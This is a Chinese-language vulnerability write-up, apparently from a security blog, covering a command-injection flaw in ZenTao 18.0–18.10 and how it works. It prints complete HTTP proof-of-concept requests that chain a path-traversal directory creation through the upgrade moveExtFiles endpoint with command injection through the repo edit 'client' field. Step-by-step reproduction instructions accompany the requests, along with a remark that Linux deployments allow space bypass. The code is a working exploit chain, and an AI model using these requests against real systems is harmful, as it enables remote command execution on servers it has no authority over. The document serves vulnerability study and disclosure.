0x00基本信息
版本
18.0<=zentao<=18.10
复现情况
win10、phpstudy、zentaov18.5
0x01exp
我复现的POC
生成目录
POST /index.php?m=upgrade&f=moveExtFiles&ID=0 HTTP/1.1
Host: demo.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=my&f=ajaxSwitchVision&vision=rnd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
files[]=../../tmp/log/这里换成他提示的文件/test
执行命令
POST /index.php?m=repo&f=edit&repoID=2&objectID=0 HTTP/1.1
Host: demo.com
Content-Length: 168
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://demo.com
Referer: http://demo.com/index.php?m=repo&f=edit&repoID=2&objectID=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie:
Connection: keep-alive
product%5B%5D=1&projects%5B%5D=7&SCM=Git&serviceHost=&name=abcc0koo&path=C%3A%2F&encoding=utf-8&client=calc%3B&account=&password=&encrypt=base64&desc=&uid=6745712d9acc0
0x02复现
1、找到可以命令注入的页面和输入命令的位置
2、保存的时候会出现这个
3、此时就需要准备一个请求,然后这个提示就没了也可以正常保存了。
下面需要替换的位置:
例如
图片给的是C:\phpstudy_pro\WWW\zentaopms\temp\log\version_67443fdfb3dd0.log
那替换的位置就需要写version_67443fdfb3dd0.log
POST /index.php?m=upgrade&f=moveExtFiles&ID=0 HTTP/1.1
Host: demo.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=my&f=ajaxSwitchVision&vision=rnd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
files[]=../../tmp/log/这里换成他提示的文件/test
4、然后直接报错就会执行命令。它可能会弹很多个计算机。
0x03漏洞原理
详细的解释
1、首先找到执行命令的函数,我是反着找。
是直接通过post方法接收的参数中间没有其他地方调用过client
2、然后就是那个函数调用了checkConnection
函数
之后就发现有两个函数调用了checkConnection
函数
第一个是create
函数
第二个是update
函数
3、然后找一找是哪里调用的这两个函数。首先肯定时找创建的那个函数。
从函数的位置可以看到是repo
模块的
然后去前端也可以找到m=repof=create
的路径
跟新就不用说了,就是创建成功后就可以跟新了。
4、此时还不能执行命令,因为在这两个函数之前还会调用checkClient
函数做判断。
这个函数的大致意思是:
首先判断client
是否为空
之后判断client
中是否有空格
再之后它会判断clientVersionFile
是否为空,如果为空它会生成一个给存在clientVersionFile
参数中。
之后判断clientVersionFile
是否存在是目录或是文件。如果存在就会继续下去。
不存在,最后将刚刚生成clientVersionFile
的显示在前端告诉你,要你去手动创建一个。
5、此时就有一个函数能达到这个效果,能创建一个目录并且名字可以自定义和目录穿越。
它首先接收全部post传过来的参数,之后和customRoot
的路径拼接,这里可以用../
选择位置。后面会判断是否是目录,如果不是才会创建成功。
0x04修复
更新到安全版本
0x05总结
在win系统下,因为没有什么好的方法可以绕过空格,而且有些cmd可以执行的命令,他这个执行命令的exec函数反而不能执行了。
linux下有方法可以绕过空格,所以linux搭建的危害可能大些。
0x06参考
https://vuldb.com/?id.253148
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)